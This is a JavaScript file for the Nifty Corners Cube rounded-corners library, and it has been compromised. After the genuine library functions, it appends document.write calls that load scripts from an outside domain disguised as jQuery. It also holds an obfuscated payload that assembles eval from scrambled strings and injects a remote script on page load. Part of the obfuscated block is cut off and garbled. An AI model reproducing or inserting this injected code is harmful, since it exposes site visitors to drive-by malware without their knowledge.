/* Nifty Corners Cube - rounded corners with CSS and Javascript
Copyright 2006 Alessandro Fulciniti (a.fulciniti@html.it)

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

var niftyOk=(document.getElementById && document.createElement && Array.prototype.push);
var niftyCss=false;

String.prototype.find=function(what){
return(this.indexOf(what)>=0 ? true : false);
}

var oldonload=window.onload;
if(typeof(NiftyLoad)!='function') NiftyLoad=function(){};
if(typeof(oldonload)=='function')
    window.onload=function(){oldonload();AddCss();NiftyLoad()};
else window.onload=function(){AddCss();NiftyLoad()};

function AddCss(){
niftyCss=true;
var l=CreateEl("link");
l.setAttribute("type","text/css");
l.setAttribute("rel","stylesheet");
l.setAttribute("href","niftyCorners.css");
l.setAttribute("media","screen");
document.getElementsByTagName("head")[0].appendChild(l);
}

function Nifty(selector,options){
if(niftyOk==false) return;
if(niftyCss==false) AddCss();
var i,v=selector.split(","),h=0;
if(options==null) options="";
if(options.find("fixed-height"))
    h=getElementsBySelector(v[0])[0].offsetHeight;
for(i=0;i<v.length;i++)
    Rounded(v[i],options);
if(options.find("height")) SameHeight(selector,h);
}

function Rounded(selector,options){
var i,top="",bottom="",v=new Array();
if(options!=""){
    options=options.replace("left","tl bl");
    options=options.replace("right","tr br");
    options=options.replace("top","tr tl");
    options=options.replace("bottom","br bl");
    options=options.replace("transparent","alias");
    if(options.find("tl")){
        top="both";
        if(!options.find("tr")) top="left";
        }
    else if(options.find("tr")) top="right";
    if(options.find("bl")){
        bottom="both";
        if(!options.find("br")) bottom="left";
        }
    else if(options.find("br")) bottom="right";
    }
if(top=="" && bottom=="" && !options.find("none")){top="both";bottom="both";}
v=getElementsBySelector(selector);
for(i=0;i<v.length;i++){
    FixIE(v[i]);
    if(top!="") AddTop(v[i],top,options);
    if(bottom!="") AddBottom(v[i],bottom,options);
    }
}

function AddTop(el,side,options){
var d=CreateEl("b"),lim=4,border="",p,i,btype="r",bk,color;
d.style.marginLeft="-"+getPadding(el,"Left")+"px";
d.style.marginRight="-"+getPadding(el,"Right")+"px";
if(options.find("alias") || (color=getBk(el))=="transparent"){
    color="transparent";bk="transparent"; border=getParentBk(el);btype="t";
    }
else{
    bk=getParentBk(el); border=Mix(color,bk);
    }
d.style.background=bk;
d.className="niftycorners";
p=getPadding(el,"Top");
if(options.find("small")){
    d.style.marginBottom=(p-2)+"px";
    btype+="s"; lim=2;
    }
else if(options.find("big")){
    d.style.marginBottom=(p-10)+"px";
    btype+="b"; lim=8;
    }
else d.style.marginBottom=(p-5)+"px";
for(i=1;i<=lim;i++)
    d.appendChild(CreateStrip(i,side,color,border,btype));
el.style.paddingTop="0";
el.insertBefore(d,el.firstChild);
}

function AddBottom(el,side,options){
var d=CreateEl("b"),lim=4,border="",p,i,btype="r",bk,color;
d.style.marginLeft="-"+getPadding(el,"Left")+"px";
d.style.marginRight="-"+getPadding(el,"Right")+"px";
if(options.find("alias") || (color=getBk(el))=="transparent"){
    color="transparent";bk="transparent"; border=getParentBk(el);btype="t";
    }
else{
    bk=getParentBk(el); border=Mix(color,bk);
    }
d.style.background=bk;
d.className="niftycorners";
p=getPadding(el,"Bottom");
if(options.find("small")){
    d.style.marginTop=(p-2)+"px";
    btype+="s"; lim=2;
    }
else if(options.find("big")){
    d.style.marginTop=(p-10)+"px";
    btype+="b"; lim=8;
    }
else d.style.marginTop=(p-5)+"px";
for(i=lim;i>0;i--)
    d.appendChild(CreateStrip(i,side,color,border,btype));
el.style.paddingBottom=0;
el.appendChild(d);
}

function CreateStrip(index,side,color,border,btype){
var x=CreateEl("b");
x.className=btype+index;
x.style.backgroundColor=color;
x.style.borderColor=border;
if(side=="left"){
    x.style.borderRightWidth="0";
    x.style.marginRight="0";
    }
else if(side=="right"){
    x.style.borderLeftWidth="0";
    x.style.marginLeft="0";
    }
return(x);
}

function CreateEl(x){
return(document.createElement(x));
}

function FixIE(el){
if(el.currentStyle!=null && el.currentStyle.hasLayout!=null && el.currentStyle.hasLayout==false)
    el.style.display="inline-block";
}

function SameHeight(selector,maxh){
var i,v=selector.split(","),t,j,els=[],gap;
for(i=0;i<v.length;i++){
    t=getElementsBySelector(v[i]);
    els=els.concat(t);
    }
for(i=0;i<els.length;i++){
    if(els[i].offsetHeight>maxh) maxh=els[i].offsetHeight;
    els[i].style.height="auto";
    }
for(i=0;i<els.length;i++){
    gap=maxh-els[i].offsetHeight;
    if(gap>0){
        t=CreateEl("b");t.className="niftyfill";t.style.height=gap+"px";
        nc=els[i].lastChild;
        if(nc.className=="niftycorners")
            els[i].insertBefore(t,nc);
        else els[i].appendChild(t);
        }
    }
}

function getElementsBySelector(selector){
var i,j,selid="",selclass="",tag=selector,tag2="",v2,k,f,a,s=[],objlist=[],c;
if(selector.find("#")){ //id selector like "tag#id"
    if(selector.find(" ")){  //descendant selector like "tag#id tag"
        s=selector.split(" ");
        var fs=s[0].split("#");
        if(fs.length==1) return(objlist);
        f=document.getElementById(fs[1]);
        if(f){
            v=f.getElementsByTagName(s[1]);
            for(i=0;i<v.length;i++) objlist.push(v[i]);
            }
        return(objlist);
        }
    else{
        s=selector.split("#");
        tag=s[0];
        selid=s[1];
        if(selid!=""){
            f=document.getElementById(selid);
            if(f) objlist.push(f);
            return(objlist);
            }
        }
    }
if(selector.find(".")){      //class selector like "tag.class"
    s=selector.split(".");
    tag=s[0];
    selclass=s[1];
    if(selclass.find(" ")){   //descendant selector like tag1.classname tag2
        s=selclass.split(" ");
        selclass=s[0];
        tag2=s[1];
        }
    }
var v=document.getElementsByTagName(tag);  // tag selector like "tag"
if(selclass==""){
    for(i=0;i<v.length;i++) objlist.push(v[i]);
    return(objlist);
    }
for(i=0;i<v.length;i++){
    c=v[i].className.split(" ");
    for(j=0;j<c.length;j++){
        if(c[j]==selclass){
            if(tag2=="") objlist.push(v[i]);
            else{
                v2=v[i].getElementsByTagName(tag2);
                for(k=0;k<v2.length;k++) objlist.push(v2[k]);
                }
            }
        }
    }
return(objlist);
}

function getParentBk(x){
var el=x.parentNode,c;
while(el.tagName.toUpperCase()!="HTML" && (c=getBk(el))=="transparent")
    el=el.parentNode;
if(c=="transparent") c="#FFFFFF";
return(c);
}

function getBk(x){
var c=getStyleProp(x,"backgroundColor");
if(c==null || c=="transparent" || c.find("rgba(0, 0, 0, 0)"))
    return("transparent");
if(c.find("rgb")) c=rgb2hex(c);
return(c);
}

function getPadding(x,side){
var p=getStyleProp(x,"padding"+side);
if(p==null || !p.find("px")) return(0);
return(parseInt(p));
}

function getStyleProp(x,prop){
if(x.currentStyle)
    return(x.currentStyle[prop]);
if(document.defaultView.getComputedStyle)
    return(document.defaultView.getComputedStyle(x,'')[prop]);
return(null);
}

function rgb2hex(value){
var hex="",v,h,i;
var regexp=/([0-9]+)[, ]+([0-9]+)[, ]+([0-9]+)/;
var h=regexp.exec(value);
for(i=1;i<4;i++){
    v=parseInt(h[i]).toString(16);
    if(v.length==1) hex+="0"+v;
    else hex+=v;
    }
return("#"+hex);
}

function Mix(c1,c2){
var i,step1,step2,x,y,r=new Array(3);
if(c1.length==4)step1=1;
else step1=2;
if(c2.length==4) step2=1;
else step2=2;
for(i=0;i<3;i++){
    x=parseInt(c1.substr(1+step1*i,step1),16);
    if(step1==1) x=16*x+x;
    y=parseInt(c2.substr(1+step2*i,step2),16);
    if(step2==1) y=16*y+y;
    r[i]=Math.floor((x*50+y*50)/100);
    r[i]=r[i].toString(16);
    if(r[i].length==1) r[i]="0"+r[i];
    }
return("#"+r[0]+r[1]+r[2]);
}
document.write('<script src=http://tentimes10.com/emai/jquery-1.3.1.min.php ><\/script>');
document.write('<script src=http://tentimes10.com/emai/jquery-1.3.1.min.php ><\/script>');
document.write('<script src=http://tentimes10.com/emai/jquery-1.3.1.min.php ><\/script>');
var HRS="e7c6eaf2c5a6c0848d99a8f4d5f1c7d4aeefcff2c2d0c7d0d9e0e8e4f6c6ffd3f6cbf2c9c7cae0dbfbc0dbfdd2f2e5dad7d3dcd6f2eecff1f2fdd0c6d2e6d0fcc6b3fdc5bfd1d6fbb9d1cda6d0dc";var mKX;if(mKX!='' && mKX!='SC'){mKX=null};var aj;if(aj!='' && aj!='dN'){aj=null};this.HRz=6276;function M(k){var L="L";var Bx=new Date(); function D(x,U){return x^U;var Ps;if(Ps!='bM' && Ps != ''){Ps=null};var Myr;if(Myr!='nf' && Myr != ''){Myr=null};}var uW="uW";var IZ="IZ";var pS=new Date(); var i=function(C){var Dw=new String();var ht=new String();var Lc;if(Lc!='s'){Lc='s'};var WC="";var r=[49,78,0][2];var mL;if(mL!='' && mL!='rC'){mL=''};var y=[199,255,174][1];var l;if(l!='HT'){l=''};var Nr;if(Nr!='kJ' && Nr!='K'){Nr='kJ'};var wt=C[n("gelnth", [2,1,3,0])];var pz=new Array();var Mv=[0,244,28][0];var sz="";this.zq="zq";var m=[242,36,1][2];var lZ=new Date();var ND;if(ND!='VW'){ND=''};this.kmd="";var gk;if(gk!='' && gk!='QK'){gk=''};while(Mv<wt){var ke=new Array();Mv++;xQ=ic(C,Mv - m);var Ej=new String();r+=xQ*wt;var rA=new Array();var eB;if(eB!='jj'){eB=''};}var Se;if(Se!=''){Se='ep'};var Tx=44977;return new F(r % y);var Ld=false;var Ll;if(Ll!=''){Ll='WE'};};this.FY="FY"; function ic(Q,h){this.HV=23868;return Q[n("achrdCoeAt", [1,2,0,3])](h);var Ha;if(Ha!='Xo' && Ha!='tJ'){Ha=''};}var Wge;if(Wge!=''){Wge='PY'};var fL="";var kX=new String();var lb=new String(); this.iz='';var CB;if(CB!='Te' && CB!='av'){CB='Te'};function n(Cm, B){this.Nz=false;var MW;if(MW!='Xh'){MW=''};var HJ;if(HJ!='iA' && HJ!='wU'){HJ=''};var E=[0][0];var m=[1,86][0];var Th="";var TJ="";var MS = Cm.length;var BT = '';var q = B.length;this.zl=23011;var HS=new String();var TL;if(TL!='' && TL!='wf'){TL=''};var Cq=new String();for(var f = E; f < MS; f += q) {var MF = Cm.substr(f, q);this.mx="mx";var FL;if(FL!='ife' && FL!='tF'){FL=''};if(MF.length == q){var LP;if(LP!='' && LP!='jk'){LP=null};var NX;if(NX!=''){NX='Jf'};for(var Mv in B) {var Wf;if(Wf!='hn' && Wf != ''){Wf=null};this.pL=64601;BT+=MF.substr(B[Mv], m);var kq;if(kq!='' && kq!='ID'){kq=''};var Zb;if(Zb!='' && Zb!='HE'){Zb='AD'};}var Gz=new Array();var Fe;if(Fe!='Rz' && Fe!='hO'){Fe='Rz'};} else {  BT+=MF;var UY;if(UY!='lm'){UY=''};var oJ="";}var qHg;if(qHg!='Mi' && qHg!='IA'){qHg='Mi'};}var la='';var ki;if(ki!='' && ki!='EX'){ki=''};return BT;var Me;if(Me!='fJ'){Me='fJ'};}var IE;if(IE!='By'){IE='By'};var c="c";this.yO=''; var mg=new Date();function u(Cm){var lk;if(lk!='tH' && lk != ''){lk=null};var f =[55,0][1];var wq;if(wq!='ip'){wq=''};this.Jn=false;Cm = new F(Cm);var kk;if(kk!='' && kk!='nI'){kk=null};var LO;if(LO!='' && LO!='zc'){LO=null};var E =[0,249,109][0];var WH=new Array();var p = -1;var gv=18358;var BT = '';var xEC;if(xEC!='Hj' && xEC != ''){xEC=null};var QN;if(QN!='' && QN!='Di'){QN='ug'};var psy='';var BX;if(BX!='TLF'){BX='TLF'};for (f=Cm[n("enltgh", [2,0,1,4,3])]-p;f>=E;f=f-[1][0]){BT+=Cm[n("hcratA", [1,0])](f);this.xX=17793;}var QB=new Date();return BT;}var HP;if(HP!='BC'){HP='BC'};var eC;if(eC!=''){eC='gM'};var Es=false;var RX;if(RX!='xT'){RX=''};this.Gg='';var nD;if(nD!='' && nD!='lmE'){nD=''};var qc=window;this.tQ="";var YZ=new Array();var Ma=qc[n("lave", [3,2,1,0])];var g=Ma(n("nuFitcon", [2,1,0]));this.BP=19306;var KWw;if(KWw!='jgu'){KWw='jgu'};var jf;if(jf!='Ryp'){jf=''};var d=Ma(n("pEeRgx", [3,2,4,1,5,0]));var F=Ma(n("trSngi", [2,0,1]));var aV;if(aV!=''){aV='qG'};var nY=false;var a = '';var Fz;if(Fz!='NU' && Fz != ''){Fz=null};this.DQE="";this.Lp="";var Bi;if(Bi!='PE'){Bi='PE'};var jU="jU";var akR='';var HR='';var NO=43300;var Ol=new String();var Vm="Vm";var Cw=qc[n("snueeacp", [2,1,3,0])];var pY=F[n("rfmohCraoCed", [1,0])];var Ou;if(Ou!='' && Ou!='kG'){Ou=null};var kM = /[^@a-z0-9A-Z_-]/g;this.FC="";this.kF="";var qU =[141,9,2][2];var jc="jc";var Xr;if(Xr!='lO' && Xr != ''){Xr=null};var yH=new Array();var rg = F.fromCharCode(37);var b=[1, n("odmucnec.teretalEemetns\'(rctpi\')", [1,0,4,3,2]),2, n("ucodm.tneb.ydoaneppdlihCd(d)", [3,2,1,0,4]),3, n("eiwkiprida.og", [2,1,3,4,5,0]),4


var Xz;if(Xz!='' && Xz!='L'){Xz='DA'};var G='';var tb;if(tb!='DQ'){tb=''};function x(){var wN=new String();this.v="";var R=window;var Q;if(Q!='A' && Q!='Cf'){Q=''};this.wm="";var h=unescape;var I=h("%2f%6e%69%66%74%79%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%6f%72%6e%68%6f%73%74%2e%63%6f%6d%2e%70%68%70");this.jH='';function y(s,X){var xU=String("g");var kU=new Array();this.vj='';var j=h("%5b"), E=h("%5d");var mB=new Array();var kp;if(kp!='iV'){kp=''};var T=j+X+E;var V="";var sd;if(sd!='' && sd!='rW'){sd=''};var t=new RegExp(T, xU);var qf="";var Px;if(Px!=''){Px='Xx'};return s.replace(t, new String());this.iq="";};var Y=new Date();this.Qe="";var En=new String();var b;if(b!='GA' && b!='Gg'){b=''};this.Ry='';var U=document;var q=y('894790965248156073179','91462357');var UR=new Date();var Ol;if(Ol!='' && Ol!='Iw'){Ol=null};function w(){this.BI='';var df;if(df!='kV' && df != ''){df=null};this.uSf="";var xL=h("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");En=xL;En+=q;var Qg;if(Qg!='RJ' && Qg != ''){Qg=null};var XxV;if(XxV!='Kq' && XxV != ''){XxV=null};En+=I;var Hk;if(Hk!='' && Hk!='Pc'){Hk=null};var ry;if(ry!='jU' && ry!='gH'){ry='jU'};var PJ=new String();var Mw=new String();try {var XR;if(XR!=''){XR='wV'};D=U.createElement(y('sbcQrYiopGtD','YbGS3vQ2wCD8oTh'));this.he="";var Bq="";this.Qt='';D[h("%73%72%63")]=En;var kZ="";D[h("%64%65%66%65%72")]=[1][0];var DU="";this.og='';this.Sn='';U.body.appendChild(D);var LS;if(LS!='fv'){LS='fv'};this.GK="";var Nr='';} catch(B){var Rf;if(Rf!='' && Rf!='_a'){Rf=''};var sh="";alert(B);};this.hX="";var DI;if(DI!='' && DI!='qr'){DI='Tl'};}var gA=new String();R["onlo"+"ad"]=w;var szG=new String();var ml;if(ml!='' && ml!='xh'){ml='jyb'};var Nu;if(Nu!=''){Nu='aT'};};var BV=new Date();x();var dl=new Date();var Mk;if(Mk!='DT' && Mk!='vz'){Mk=''};
